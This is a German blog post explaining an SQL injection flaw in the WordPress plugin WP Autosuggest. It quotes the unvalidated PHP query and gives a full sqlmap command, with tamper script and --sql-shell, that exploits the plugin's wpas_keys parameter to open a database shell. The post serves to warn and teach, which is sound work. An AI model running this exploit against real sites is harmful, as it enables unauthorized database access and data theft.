• Zur Hauptnavigation springen
  • Skip to main content
  • Zur Hauptsidebar springen
  • Zur Fußzeile springen
Thx Cool

Thx Cool

  • Softwareentwicklung
  • SEO
  • Content Marketing
  • Hosting
  • Beratung
  • Bibliothek
    • WordPress
    • Genesis
    • MacOS
    • Linux
    • Python
    • Magento
    • Sicherheit
    • SEO

Praktisches Beispiel für SQL-Injection

14. Dezember 2018 von Kai Hagemeister

Das WordPress-Plugin WP Autosuggest weist aktuell einen Exploit auf. Neben den Hinweis, das Plugin nicht zu verwenden, zeigt Dir dieser Beitrag, wie solch eine Schwachstelle ausgenutzt werden kann.

Die Schwachstelle

Sehen wir uns erst einmal die Schwachstelle in dem Code des Plugins WP Autosuggest an und überlegen, wie er ausgenutzt werden kann.


if (isset($_GET['wpas_keys'])) {
	$wpas_keys = $_GET['wpas_keys'];
}
$wpas_keys = str_replace(' ','%',$wpas_keys);
	$pageposts = $wpdb->get_results("SELECT * FROM $wpdb->posts WHERE (post_title LIKE '%$wpas_keys%') AND post_status = 'publish' ORDER BY post_date DESC");

Das PHP-Skript liest den Parameter ‚wpas_keys‘ aus dem URL aus und ersetzt anschliessend eventuelle Leerzeichen mit der PHP-Funktion str_replace. Eine Validierung der ausgelesenen Daten findet nicht statt! Anschliessend erfolgt eine Datebankabfrage.

Ausnutzung der Schwachstelle durch SQL Injection

Eine Ausnutzung der Schwachstelle, fehlende Validierung, ist mit einem Tool wie sqlmap denkbar einfach.

Folgender Aufruf verschafft einem Angreifer eine interaktive Shell zur Datenbank:


sqlmap -u "http://vulnerable-url/wp-content/plugins/wp-autosuggest/autosuggest.php?wpas_action=query&wpas_keys=1" --technique BT --dbms MYSQL --risk 3 --level 5 -p wpas_keys --tamper space2comment --sql-shell

Wenn Dich die Verwendung des Programmes im Detail interessiert, kannst Du Dir nach der Installation durch den Aufruf: python sqlmap.py [options] die Optionen anzeigen lassen.

Kurz zur Erklärung. Die Option -u übergibt die URL mit den Parametern wpas_action=query und wpas_keys=1.

–technique gibt an, welche SQL-Techniken verwendet werden sollen. Würde ein Exploit existieren, mit dem auf Dateiebene zugegriffen werden könnte, müsste man den Wert S (Stacked queries) angeben. In diesem Fall geht es um die Übernahme der Datenbank durch eine falsche Abfrage. Daher wird die Verwendung von 2 Techniken spezifiziert, Boolean-based blind und Time-based blind.

Die Option risk definiert das Risiko, das eingegenagen wird. 3 spezifiziert den höchsten Wert und schliesst OR- basierte injections-Tests mit ein.

Die Option level gibt den Umfang der Tests an. Als Faustformel gilt, je schwieriger der Exploit zu entdecken ist, desto höher der Level. Mit 5 ist hier der maximale Level angegeben.

-p gibt den Parameter an, der getestet werden soll. In diesem Fall ‚wpas_keys‘.

–tamper wird eingesetzt um nicht vorhandene, oder schwache Validierung des Inputs auszunutzen. Tamper wird ein Script übergeben, das Kommentarauszeichnungen einschleust.

–sql-shell liefert eine SQL-Konsole zum Datenbankmanagementsystem.

Kategorie: Sicherheit

Über Kai Hagemeister

Studium der Biologie. Anschliessendes Studium der Informatik. Seit 2009 betreibe ich mit meiner Familie einen kleinen Hof in den Thüringer Bergen. Ein Blog begleitet unsere Arbeit auf dem Berghof.

Leser-Interaktionen

Schreibe einen Kommentar Antworten abbrechen

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert

Haupt-Sidebar

Bibliothek

  • Blog (2)
  • Linux (9)
  • MacOS (8)
    • Python (1)
  • Magento (5)
  • Netzwerk (2)
  • SEO (2)
  • Sicherheit (5)
  • Wordpress (16)
    • Genesis (5)

Neueste Beiträge

  • SIP deaktivieren
  • Firefox verbindet sich zu Cloudfront und Amazon
  • apsd Prozess unter MacOS deaktivieren
  • Firefox lässt sich nicht mehr starten
  • Wortmann Terra mobile kein AHCI

Lass Dir eine coole Webseite erstellen

THX bietet Dir alles was Du Dir für Deinen erfolgreichen Auftritt im Internet wünschst.

Kontakt aufnehmen
hosting

Lass Dir Deine coole Webseite von THX erstellen

Kontakt

Footer

Kontakt

  • Webseite
  • Email
  • Telephone

Navigation

  • Softwareentwicklung
  • SEO
  • Content Marketing
  • Hosting
  • Beratung
  • Blog

THX.cool

  • Impressum
  • Datenschutz
  • Cookie-Richtlinie (EU)

Newsletter

Copyright © 2023 Kai Hagemeister THX.cool

Cookie-Zustimmung verwalten
Wir verwenden Cookies, um unsere Website und unseren Service zu optimieren.
Funktional Immer aktiv
Die technische Speicherung oder der Zugang ist unbedingt erforderlich für den rechtmäßigen Zweck, die Nutzung eines bestimmten Dienstes zu ermöglichen, der vom Teilnehmer oder Nutzer ausdrücklich gewünscht wird, oder für den alleinigen Zweck, die Übertragung einer Nachricht über ein elektronisches Kommunikationsnetz durchzuführen.
Vorlieben
Die technische Speicherung oder der Zugriff ist für den rechtmäßigen Zweck der Speicherung von Präferenzen erforderlich, die nicht vom Abonnenten oder Benutzer angefordert wurden.
Statistiken
Die technische Speicherung oder der Zugriff, der ausschließlich zu statistischen Zwecken erfolgt. Die technische Speicherung oder der Zugriff, der ausschließlich zu anonymen statistischen Zwecken verwendet wird. Ohne eine Vorladung, die freiwillige Zustimmung deines Internetdienstanbieters oder zusätzliche Aufzeichnungen von Dritten können die zu diesem Zweck gespeicherten oder abgerufenen Informationen allein in der Regel nicht dazu verwendet werden, dich zu identifizieren.
Marketing
Die technische Speicherung oder der Zugriff ist erforderlich, um Nutzerprofile zu erstellen, um Werbung zu versenden oder um den Nutzer auf einer Website oder über mehrere Websites hinweg zu ähnlichen Marketingzwecken zu verfolgen.
Optionen verwalten Dienste verwalten Anbieter verwalten Lese mehr über diese Zwecke
Einstellungen anzeigen
{title} {title} {title}